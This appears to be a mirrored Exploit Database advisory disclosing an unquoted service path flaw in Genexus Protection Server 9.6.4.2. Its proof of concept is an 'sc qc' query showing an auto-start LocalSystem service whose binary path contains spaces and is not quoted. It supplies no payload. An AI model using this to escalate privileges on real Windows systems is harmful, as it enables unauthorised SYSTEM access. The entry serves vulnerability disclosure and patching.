Genexus Protection Server 9.6.4.2 – ‘protsrvservice’ Unquoted Service Path

• Exploit Database
• 34 阅读

• 作者： SamAlucard
  日期： 2020-11-09
• 类别：

  • local
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/49007/

• #Exploit Title: Genexus Protection Server 9.6.4.2 - 'protsrvservice' Unquoted Service Path
  Service Path
  #Exploit Author : SamAlucard
  #Exploit Date: 2020-11-08
  #Vendor : Genexus
  #Version : Genexus Protection Server 9.6.4.2
  #Software Link: https://www.genexus.com/en/developers/downloadcenter?data=;;
  #Vendor Homepage :https://www.genexus.com/es/
  #Tested on OS: Windows 10 Pro
  
  #Analyze PoC :
  ==============
  
  C:\>sc qc protsrvservice
  [SC] QueryServiceConfig CORRECTO
  
  NOMBRE_SERVICIO: protsrvservice
  TIPO : 10WIN32_OWN_PROCESS
  TIPO_INICIO: 2 AUTO_START
  CONTROL_ERROR: 1 NORMAL
  NOMBRE_RUTA_BINARIO: C:\Program Files (x86)\Common
  Files\Artech\GXProt1\ProtSrv.exe
  GRUPO_ORDEN_CARGA:
  ETIQUETA : 0
  NOMBRE_MOSTRAR : ProtSrvService
  DEPENDENCIAS : RPCSS
  NOMBRE_INICIO_SERVICIO: LocalSystem